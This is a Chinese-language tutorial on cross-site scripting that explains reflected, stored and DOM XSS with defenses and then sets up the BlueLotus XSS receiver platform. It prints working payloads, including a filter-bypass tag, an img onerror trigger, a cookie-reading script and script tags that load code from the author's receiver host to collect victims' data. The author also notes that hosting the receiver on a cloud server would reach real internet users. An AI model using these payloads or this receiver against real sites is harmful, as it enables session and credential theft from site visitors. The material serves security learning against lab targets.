保护网站安全:学习蓝莲花的安装和使用,复现跨站脚本攻击漏洞及XSS接收平台

news2025/1/13 15:34:21

 这篇文章旨在用于网络安全学习,请勿进行任何非法行为,否则后果自负。 

环境准备

一、XSS基础

1、反射型XSS

攻击介绍

原理

攻击者通过向目标网站提交包含恶意脚本的请求,然后将该恶意脚本注入到响应页面中,使其他用户在查看包含注入恶意脚本的页面时运行该恶意脚本。

图片来源

使用方法:

  1. 攻击者构造带有恶意脚本的URL,例如通过在URL参数中注入脚本代码。
  2. 攻击者通过各种方式诱使用户点击或访问包含恶意脚本的URL,例如通过钓鱼邮件、社交媒体链接等。
  3. 用户访问包含恶意脚本的URL时,服务器会将URL参数中的恶意脚本代码作为响应页面的一部分返回给用户浏览器。
  4. 用户浏览器解析响应页面时会执行恶意脚本,导致攻击成功。

反射型XSS的前提是目标网站对用户输入的数据没有进行充分的过滤和转义。如果目标网站未对用户输入进行适当的验证和处理,并且直接将用户输入的内容显示在响应页面上,那么攻击者就能够利用这个漏洞进行反射型XSS攻击。

防御:

  1. 输入验证和过滤:对用户输入的数据进行验证和过滤,确保只接收符合预期的数据,并拒绝包含恶意脚本的输入。
  2. 输出转义:在将用户输入的内容输出到响应页面之前,对特殊字符进行转义,例如将"<"转义为"<"、将">"转义为">"等,阻止恶意脚本的执行。
  3. 使用HTTP Only Cookie:将Cookie标记为HTTP Only,以防止通过脚本获取敏感信息。
  4. CSP(Content Security Policy):使用CSP来限制页面中允许执行的内容,包括禁止内联脚本(如<script>)和限制外部资源加载等。
  5. 安全编码实践:开发人员应遵循安全编码实践,包括对用户输入进行正确处理、使用安全的编程语言函数和API等。

定期进行安全审计和漏洞扫描也是非常重要的,以确保及时发现和修补潜在的反射型XSS漏洞。

靶场:

http://testfire.net  这是一个开源的测试网站,攻击这个网站不犯法。

攻击演示

测试网站是否存在反射型xss

口诀:见框就插,改url参数

随便输入个字符:hello、你好啊,李银河

继续加个html标签:<h1> hello

示例

以下是一个示例,说明了恶意脚本如何通过注入到请求的参数中进行反射型XSS攻击:

假设有一个搜索功能,用户可以在搜索框中输入关键字进行搜索。搜索框的值会作为参数传递给服务器进行处理,并返回相关的搜索结果。

正常情况下,搜索功能的URL可能是这样的:

https://example.com/search?keyword=mysearch

攻击者可以在搜索框中输入恶意脚本作为关键字,例如:

<script>alert('XSS Attack');</script>

当用户提交搜索请求时,URL会变成这样:

https://example.com/search?keyword=<script>alert('XSS Attack');</script>

服务器在处理这个请求时,可能没有对输入进行严格的验证和过滤,直接将参数中的恶意脚本返回给用户,从而导致攻击。用户的浏览器在解析返回的内容时,会执行恶意脚本,弹出一个警示框。

开始攻击

我这里的跳转url是百度,如果是真实的攻击链接,链接后面就是一个攻击脚本,当然攻击脚本的页面可能是京东、淘宝这些知名网站的登录页面,甚至是一些有色网站的登录页面,当你输入你的个人隐私信息登录后,页面可能就跳转到一个404页面让你稍后在尝试,很多人到这里可能就不当回事以为是网站出问题了,实际上你的个人信息早就被攻击者收集完了,别问我是啥知道的懂的都懂

(¬‿¬)

 <a href="https://www.baidu.com/">震惊!88岁中国老太太让全世界膜拜</a>

测试到这里我们就可以得出结论,这个网站存在反射型xss,可以被不法分子利用

如果你需要在输入框执行JS代码则需要写在 <script>标签内,如:

<script>alert("hello,zhangsan")</script>

代码执行后会出现一个弹框 

或者输入:<img src=1 οnerrοr=alert(1)>     # img 是图像标签,src填写的是图片路径这里写1路径肯定是不存在的然后就报错,error 就是捕获报错的事件,on是绑定事件给这个img标签,“=”后面就可以跟我们要执行的JS代码

当然我刚才的攻击都是输入到搜索框中的读者大大可能会觉得跟我前面说的反射型XSS的原理与示例的攻击方式不一样,我们也可以直接在:搜索的url参数中写入攻击参数

2、存储型XSS

攻击介绍

原理:

攻击者将恶意脚本注入到目标网站的数据库中,然后其他用户在访问包含该恶意脚本的页面时,从数据库中读取并执行该恶意脚本。

图片来源

使用方法:

  1. 攻击者找到目标网站上存在漏洞的输入点,例如评论框、留言板等。
  2. 攻击者通过输入恶意脚本代码,将该代码存储到目标网站的数据库中。
  3. 当其他用户访问包含恶意脚本的页面时,从数据库中读取并显示该恶意脚本。
  4. 用户浏览器解析响应页面时会执行恶意脚本,导致攻击成功。

存储型XSS的前提是目标网站对用户输入的数据没有进行充分的过滤和转义,并且直接将用户输入的内容存储到数据库中,然后在页面中读取并显示该内容。

防御:

  1. 输入验证和过滤:对用户输入的数据进行验证和过滤,确保只接收符合预期的数据,并拒绝包含恶意脚本的输入。
  2. 输出转义:在将用户输入的内容输出到响应页面之前,对特殊字符进行转义,例如将"<"转义为"<"、将">"转义为">"等,阻止恶意脚本的执行。
  3. 输入限制和白名单:限制用户输入的内容和格式,只允许符合预期的数据,并使用白名单来过滤不安全的内容。
  4. 安全编码实践:开发人员应遵循安全编码实践,包括对用户输入进行正确处理、使用安全的编程语言函数和API等。
  5. 安全存储:对用户输入的数据在存储时进行额外的处理,例如编码、加密或使用安全的存储机制。
  6. 定期进行安全审计和漏洞扫描,以确保及时发现和修补潜在的存储型XSS漏洞。

通过综合以上防御措施,可以有效减少存储型XSS攻击的风险。

攻击演示

这里我就使用DVWA靶场做测试

首先,把靶场的安全等级调到最低

选择XSS存储

<script>alert("hello,zhangsan")</script>
<scr<script>ipt>alert("xss")</script>

刷新网页之后,弹框还是出弹出。(如果这个是真实的网站那么我们这个弹框攻击也会影响到其他用户,虽然没啥用但是可以恶心人,导致其他用户心理不舒服时间久了网站的用户就会自然减少,可以说是“损人不利已”)

这里一样是可以跟之前的注入攻击一样写入跳转标签的,区别是存储型XSS的攻击语句是可以保存在目标网站的数据库中 

<a href="https://www.baidu.com/">震惊!88岁中国老太太让全世界膜拜</a>

反射型XSS与存储型XSS的区别

反射型XSS和存储型XSS是两种常见的跨站脚本攻击(XSS)类型,它们之间有以下区别:

攻击方式:

  • 反射型XSS:攻击者将恶意脚本注入到URL参数或表单输入中,当用户访问包含恶意脚本的URL或提交包含恶意脚本的表单时,恶意脚本会被服务器解析并返回给用户,从而导致攻击。
  • 存储型XSS:攻击者将恶意脚本注入到应用程序的数据库或其他存储介质中,当其他用户访问包含恶意脚本的页面时,恶意脚本会从服务器中获取并执行,从而导致攻击。

注入方式:

  • 反射型XSS:恶意脚本被注入到请求的参数中,服务器将参数中的恶意脚本返回给用户,用户的浏览器解析并执行该脚本。
  • 存储型XSS:恶意脚本被注入到应用程序的数据库或其他存储介质中,当其他用户访问包含恶意脚本的页面时,服务器从存储介质中获取恶意脚本并返回给用户,用户的浏览器解析并执行该脚本。

影响范围:

  • 反射型XSS:攻击的影响范围通常较小,只有在用户访问包含恶意脚本的URL时才会触发攻击。
  • 存储型XSS:攻击的影响范围较大,一旦恶意脚本被存储在服务器上,所有访问包含该恶意脚本的页面的用户都会受到攻击。

防御措施:

  • 反射型XSS:可以通过输入验证和输出编码来防止攻击,对用户输入进行严格的过滤和验证,将特殊字符进行转义或编码,确保用户输入不会被解析为恶意脚本。
  • 存储型XSS:可以通过输入验证、输出编码和安全的存储来防止攻击,对用户输入进行严格的过滤和验证,将特殊字符进行转义或编码,同时将用户输入的数据存储在安全的方式下,如使用预编译语句或存储过程等。

总的来说,反射型XSS和存储型XSS都是XSS攻击的不同形式,但它们的攻击方式、注入方式和防御措施有所不同。开发人员应该采取综合的安全措施来防止XSS攻击,包括输入验证、输出编码和安全的存储等。

3、DOM型XSS

攻击介绍

        DOM型XSS是通过修改网页的DOM结构来注入并执行恶意脚本的攻击方式。攻击者利用前端JavaScript代码中存在漏洞的地方,通过篡改DOM元素的属性或事件处理程序,使浏览器在解析页面时执行恶意脚本。这种攻击类型通常发生在浏览器端,对服务器没有直接影响

原理:

  1. 攻击者找到目标网页中存在漏洞的JavaScript代码。
  2. 攻击者使用恶意输入修改DOM元素的属性或事件处理程序。
  3. 用户在浏览器中打开被篡改的页面时,浏览器会解析DOM结构并执行恶意脚本,导致攻击成功。

图片来源 

使用方法:

  1. 攻击者识别目标网页中存在漏洞的JavaScript代码。
  2. 攻击者构造特定的恶意输入,并通过修改DOM元素的属性或事件处理程序将恶意脚本注入到目标网页中。
  3. 用户访问被篡改的页面时,恶意脚本被执行。

使用前提: DOM型XSS的使用前提是目标网页中存在可以被攻击者控制或修改的DOM元素,通常是由于前端JavaScript代码中存在漏洞导致的。

防御方法:

  1. 输入验证和过滤:对用户输入的数据进行验证和过滤,确保只接收符合预期的数据,并拒绝包含恶意脚本的输入。
  2. 输出转义:在将用户输入的内容输出到页面中时,对特殊字符进行转义,避免恶意脚本的执行。
  3. 安全编码实践:开发人员应该编写安全的JavaScript代码,避免在DOM操作和事件处理程序中出现漏洞。
  4. 内容安全策略(Content Security Policy,CSP):使用CSP设置白名单,限制允许加载的资源和执行的脚本,以减少攻击面。
  5. 定期进行安全审计和漏洞扫描,以及时发现和修复潜在的DOM型XSS漏洞。

攻击演示

开始测试,原来的下拉列表的DOM结构如下图:(F12可以打开开发者模式,查看网页的结构代码)

 检测网站是否存在XSS的DOM漏洞

<script>alert("test")</script>

盗取网站的cookie 

<script>alert(document.cookie)</script>

二、XSS进阶

相信通过上面的解释大家解决对XSS有个大致的概念了,下面介绍XSS的接收平台蓝莲花,有首歌也叫这个名字许巍唱的,挺好听的。

下载:GitHub - firesunCN/BlueLotus_XSSReceiver

安装

1、我这里安装在本地的Phpstudy上这个没啥好说的,安装过程就是一路下一步(可以改安装路径),附上下载链接:

# 官网:https://www.xp.cn/download.html
# PhpStudy2018
http://public.xp.cn/upgrades/PhpStudy2018.zip

# 蓝莲花 - github下载
https://github.com/firesunCN/BlueLotus_XSSReceiver

推荐下载2018版本的操作方便

安装完成后启动服务

将解压后的BlueLotus_XSSReceiver原代码放置 phpstudy 安装目录的WWW文件夹

 然后在浏览器中输入:http://本机ip/BlueLotus_XSSReceiver-master   #  访问我们刚才拉到www文件夹下的BlueLotus_XSSReceiver文件,进入安装界面

2、配置XSS接收平台 - 蓝莲花

插入模板

填写接收数据的url ,格式:当前蓝莲花平台的url + 文件名(文件名自己取)

示例

最后选择生成paload

测试一下

3、将攻击语句复制保存下来,等下要用

<script src="http://127.0.0.1/BlueLotus_XSSReceiver-master/myjs/text.js"></script>

4、攻击演示

本地演示

突然想到一个问题,我刚才制作的攻击语句中的IP是本地的回环地址,所以如果我在虚拟机的靶场中测试攻击,那么我的蓝莲花平台是接收不到的,所以这里先在本地的靶场测试,等下在演示在虚拟机中的(如果蓝莲花平台部署在云服务器,就能攻击其他互联网用户)

解除输入框的字符限制

回到平台查看攻击

点击查看邮件信息 

虚拟机演示

ipconfig    # 查看本机ip

使用本机IP访问蓝莲花平台测试看看

重新构造攻击paload

<script src="http://192.168.100.58//BlueLotus_XSSReceiver-master/myjs/text.js"></script>

回到平台

这篇文章就到此为止了,感觉阅读!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/944905.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

如何建设数据资产目录?

数据资产目录其实一个记录和管理组织内各种数据资产的清单或目录。它提供了对数据资产的基本信息和属性的可视化和查询能力&#xff0c;让组织能够更好的了解和利用自己拥有的数据资产。数据资产目录通常包括数据集的名称、描述、来源、格式、存储位置、更新频率等信息&#xf…

fatal: ServicePointManager 不支持具有 socks5 方案的代理。

报错 解决前 git config --global --list 查看git的设置 解决后 // 代理更改为http (7890是我的代理软件clash的port默认的&#xff0c;有些博客使用的是1080&#xff0c;依个人情况而定) git config --global http.proxy http://127.0.0.1:7890 git config --global https…

40、Thymeleaf的自动配置和基本语法、springboot 整合 Thymeleaf

★ Spring Boot支持如下模板技术&#xff1a; FreeMarkerGroovyThymeleafMustache官方推荐使用 ThymeleafJSP不再被推荐。★ Thymeleaf的优势 Thymeleaf标准方言中的大多数处理器都是属性处理器。这种页面模版即使在未被处理之前&#xff0c;浏览器也可正确地显示HTML模板文件…

听力总结易错点+口语准则

目录 听力总结易错点 where are you come from&#xff1f;其实是错的 杯子的大小表达 口语准则 一些常见蔬菜的英文名称&#xff1a; To get a lot out of 英语复述句子题 听力总结易错点 1,在section 1 &#xff0c;很容易把a读成n 2. silver colored cloth 这个clo…

Spring PropertyEditor 使用案例

1. 继承 PropertyEditorSupport 重写 setAsText 方法 import java.beans.PropertyEditorSupport;public class StringToArrayEditor extends PropertyEditorSupport {Overridepublic void setAsText(String text) throws IllegalArgumentException {//接收Text的值并处理String…

Centos7本地安装Docker-compose

考虑github时常出现问题。以下内容是基于本地安装 安装包地址 文章参考链接 1、下载安装包上传包到/usr/local/bin 2、执行命令 # 修改权限 chmod x /usr/local/bin/docker-compose ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose3、验证是否安装成功 docker-…

内网环境搭建-前篇

通常所说的内网渗透测试&#xff0c;很大程度上就是域渗透测试。搭建域渗透测试环境&#xff0c;在Windows的活动目录环境下进行一系列操作&#xff0c;掌握其操作方法和运行机制&#xff0c;对内网的安全维护有很大的帮助。常见的域环境是使用Windows Server2012 R2、Windows7…

基于SpringBoot+Vue的大学生家教系统设计和实现

前言 &#x1f497;全网粉丝10W、全栈领域优质创作者、掘金、阿里云等社区博客专家、专注于全栈领域和毕业项目实战&#x1f497; 文章最下面有微信&#xff0c;获取完整源码和数据库&#xff0c;没有套路&#xff0c;没有套路&#xff0c;没有套路&#xff01;&#xff01;&am…

Java JDK各版本特性

一、Java 8 之前版本重要的特性 Java 8 之前版本中有一些重要特性和改进。以下是其中一些主要特性以及它们发布版本&#xff1a; Java SE 7&#xff08;发布于2011年&#xff09;&#xff1a; Switch 字符串&#xff1a;允许在 switch 语句中使用字符串。泛型的类型推断&…

如何提高视频清晰度?视频调整清晰度操作方法

现在很多小伙伴通过制作短视频发布到一些短视频平台上记录生活&#xff0c;分享趣事。但制作的视频有些比较模糊&#xff0c;做视频的小伙伴应该都知道&#xff0c;视频画质模糊不清&#xff0c;会严重影响观众的观看体验。 通过研究&#xff0c;总结了以下几点严重影响的点 …

Opencv-C++笔记 (18) : 轮廓和凸包

文章目录 一、轮廓findContours发现轮廓drawContours绘制轮廓代码 二.几何及特性概括——凸包(Convex Hull)凸包概念凸包扫描算法介绍——Graham扫描算法 相关API介绍程序示例轮廓集合及特性性概括——轮廓周围绘制矩形框和圆形相关理论介绍轮廓周围绘制矩形 -API绘制步骤程序实…

如何使用ADX指标呢?10秒教会你

这是使用ADX大佬的收益结果&#xff0c;这是没有使用ADX技术指标的新手表情&#xff0c;事实证明只要会使用ADX指标&#xff0c;交易的结果就是令人可喜的&#xff0c;那么如何使用ADX指标呢?anzo capital昂首资本10秒教会你。 从评估价格方向、模式和水平开始技术分析。使用…

BingChat与ChatGPT比较,哪个聊天机器人能让你获益更多?

人工智能领域的最新进展为普通人创造新的收入来源提供了更多机会。今年早些时候&#xff0c;微软对OpenAI进行了大量投资。此后&#xff0c;微软在Microsoft Edge浏览器中推出了自家的聊天机器人Bing Chat。 在论坛和社交媒体上&#xff0c;你可以发现这两个AI工具都吸引了很…

C++之ifstream成员函数get、tellg、eof实例(一百八十五)

简介&#xff1a; CSDN博客专家&#xff0c;专注Android/Linux系统&#xff0c;分享多mic语音方案、音视频、编解码等技术&#xff0c;与大家一起成长&#xff01; 优质专栏&#xff1a;Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 人生格言&#xff1a; 人生…

js查找结构不同的两个数组中相同的元素并删除元素

准确的是循环中删除数组元素会遇到的bug及解决办法。 删除后需要注意元素的索引值 &#xff0c;比如以下案例&#xff0c;删除2之后索引值继续 1,但原数组索引已经变化了&#xff0c;所以会出现遍历漏掉元素和索引值对不上的情况 然后就把forEach循环改成了for循环&#xff0…

龙蜥白皮书精选:SysAK—大规模复杂场景的系统运维利器

文/系统运维 SIG 01 概述 SysAK&#xff08;System Analyse Kit&#xff09;是龙蜥社区系统运维 SIG&#xff0c;通过对过往百万服务器运维经验进行抽象总结&#xff0c;而提供的一个全方位的系统运维工具集&#xff0c;可以覆盖系统的日常监控、线上问题诊断和系统故障修复…

Java 中数据结构LinkedList的用法

LinkList 链表&#xff08;Linked list&#xff09;是一种常见的基础数据结构&#xff0c;是一种线性表&#xff0c;但是并不会按线性的顺序存储数据&#xff0c;而是在每一个节点里存到下一个节点的地址。 链表可分为单向链表和双向链表。 一个单向链表包含两个值: 当前节点…

MySQL 日期格式 DATETIME 和 TIMESTAMP

MySQL日期格式介绍 存储日期的方式mysql中存储日期的格式datetimetimestampDatetime和Timestamp的比较相同点&#xff1a;不同点&#xff1a; 数值型时间戳&#xff08;INT&#xff09;DATETIME vs TIMESTAMP vs INT&#xff0c;怎么选&#xff1f; 存储日期的方式 字符串Date…

Kotlin协程简述与上下文和调度器(Dispatchers )

协程概述 子程序或者称为函数&#xff0c;在所有的语言中都是层级调用&#xff0c;如&#xff1a;A调用B&#xff0c;B在执行过程中又调用了C&#xff0c;C执行完毕返回&#xff0c;B执行完毕返回&#xff0c;最后是A执行完毕。所以子程序是 通过栈来实现的&#xff0c;一个线…